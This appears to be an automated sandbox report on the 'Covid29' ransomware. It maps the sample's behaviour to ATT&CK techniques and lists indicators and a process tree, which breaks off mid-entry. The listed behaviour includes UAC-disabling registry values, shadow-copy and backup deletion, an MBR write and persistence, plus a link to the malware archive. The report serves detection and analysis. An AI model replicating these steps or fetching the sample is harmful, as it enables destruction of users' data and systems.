chaos | hxxps://github[.]com/pankoza2-pl/malwaredatabase-old/blob/main/Covid29-Ransomware/Covid29%20Ransomware[.]zip

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
3552	bcdedit.exe
4484	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3108	wbadmin.exe

Disables Task Manager via registry modification
evasion

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000\Control Panel\International\Geo\Nation	Cov29Cry.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe

Executes dropped EXE 4 IoCs

pid	Process
1556	mbr.exe
1780	Cov29Cry.exe
1168	svchost.exe
3104	Cov29LockScreen.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1960-294-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/1960-407-0x0000000000400000-0x00000000005D5000-memory.dmp	upx

Drops desktop.ini file(s) 34 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-3642458265-1901903390-453309326-1000\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
45	raw.githubusercontent.com
46	raw.githubusercontent.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	mbr.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svmefsxct.jpg"	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
3524	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2172	taskkill.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "231"	LogonUI.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000_Classes\Local Settings	cmd.exe

Modifies registry key 1 TTPs 7 IoCs

Modify Registry

pid	Process
2628	reg.exe
880	reg.exe
1560	reg.exe
2024	reg.exe
4320	reg.exe
1512	reg.exe
3760	reg.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1004	PING.EXE
1088	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1168	svchost.exe

Suspicious behavior: EnumeratesProcesses 53 IoCs

pid	Process
3376	msedge.exe
3376	msedge.exe
1356	msedge.exe
1356	msedge.exe
2968	identity_helper.exe
2968	identity_helper.exe
2684	msedge.exe
2684	msedge.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1780	Cov29Cry.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe
1168	svchost.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2604	shutdown.exe
Token: SeRemoteShutdownPrivilege	2604	shutdown.exe
Token: SeDebugPrivilege	1780	Cov29Cry.exe
Token: SeDebugPrivilege	1168	svchost.exe
Token: SeBackupPrivilege	5008	vssvc.exe
Token: SeRestorePrivilege	5008	vssvc.exe
Token: SeAuditPrivilege	5008	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1992	WMIC.exe
Token: SeSecurityPrivilege	1992	WMIC.exe
Token: SeTakeOwnershipPrivilege	1992	WMIC.exe
Token: SeLoadDriverPrivilege	1992	WMIC.exe
Token: SeSystemProfilePrivilege	1992	WMIC.exe
Token: SeSystemtimePrivilege	1992	WMIC.exe
Token: SeProfSingleProcessPrivilege	1992	WMIC.exe
Token: SeIncBasePriorityPrivilege	1992	WMIC.exe
Token: SeCreatePagefilePrivilege	1992	WMIC.exe
Token: SeBackupPrivilege	1992	WMIC.exe
Token: SeRestorePrivilege	1992	WMIC.exe
Token: SeShutdownPrivilege	1992	WMIC.exe
Token: SeDebugPrivilege	1992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1992	WMIC.exe
Token: SeRemoteShutdownPrivilege	1992	WMIC.exe
Token: SeUndockPrivilege	1992	WMIC.exe
Token: SeManageVolumePrivilege	1992	WMIC.exe
Token: 33	1992	WMIC.exe
Token: 34	1992	WMIC.exe
Token: 35	1992	WMIC.exe
Token: 36	1992	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1992	WMIC.exe
Token: SeSecurityPrivilege	1992	WMIC.exe
Token: SeTakeOwnershipPrivilege	1992	WMIC.exe
Token: SeLoadDriverPrivilege	1992	WMIC.exe
Token: SeSystemProfilePrivilege	1992	WMIC.exe
Token: SeSystemtimePrivilege	1992	WMIC.exe
Token: SeProfSingleProcessPrivilege	1992	WMIC.exe
Token: SeIncBasePriorityPrivilege	1992	WMIC.exe
Token: SeCreatePagefilePrivilege	1992	WMIC.exe
Token: SeBackupPrivilege	1992	WMIC.exe
Token: SeRestorePrivilege	1992	WMIC.exe
Token: SeShutdownPrivilege	1992	WMIC.exe
Token: SeDebugPrivilege	1992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1992	WMIC.exe
Token: SeRemoteShutdownPrivilege	1992	WMIC.exe
Token: SeUndockPrivilege	1992	WMIC.exe
Token: SeManageVolumePrivilege	1992	WMIC.exe
Token: 33	1992	WMIC.exe
Token: 34	1992	WMIC.exe
Token: 35	1992	WMIC.exe
Token: 36	1992	WMIC.exe
Token: SeBackupPrivilege	3700	wbengine.exe
Token: SeRestorePrivilege	3700	wbengine.exe
Token: SeSecurityPrivilege	3700	wbengine.exe
Token: SeDebugPrivilege	2172	taskkill.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
2100	NOTEPAD.EXE

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe
1356	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3104	Cov29LockScreen.exe
984	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1356 wrote to memory of 3028	1356	msedge.exe	82
PID 1356 wrote to memory of 3028	1356	msedge.exe	82
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3596	1356	msedge.exe	83
PID 1356 wrote to memory of 3376	1356	msedge.exe	84
PID 1356 wrote to memory of 3376	1356	msedge.exe	84
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85
PID 1356 wrote to memory of 3592	1356	msedge.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/pankoza2-pl/malwaredatabase-old/blob/main/Covid29-Ransomware/Covid29%20Ransomware.zip
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9f18b46f8,0x7ff9f18b4708,0x7ff9f18b4718
  2⤵
  PID:3028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2128 /prefetch:2
  2⤵
  PID:3596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2800 /prefetch:8
  2⤵
  PID:3592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1
  2⤵
  PID:1284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
  2⤵
  PID:2980
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5544 /prefetch:8
  2⤵
  PID:2744
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5544 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5632 /prefetch:8
  2⤵
  PID:880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5692 /prefetch:1
  2⤵
  PID:396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5780 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:1
  2⤵
  PID:5096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5720 /prefetch:1
  2⤵
  PID:3116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5448 /prefetch:1
  2⤵
  PID:3092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,1686817738194798213,8284068200537369672,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6172 /prefetch:1
  2⤵
  PID:3588

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1008

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1548

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3664

C:\Users\Admin\Desktop\TrojanRansomCovid29.exe
"C:\Users\Admin\Desktop\TrojanRansomCovid29.exe"
1⤵
PID:1960
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\95B3.tmp\TrojanRansomCovid29.bat" "
  2⤵
  - Checks computer location settings
  - Modifies registry class
  PID:464
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\95B3.tmp\fakeerror.vbs"
    3⤵
    PID:3264
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 2
    3⤵
    - Runs ping.exe
    PID:1004
- - C:\Windows\SysWOW64\reg.exe
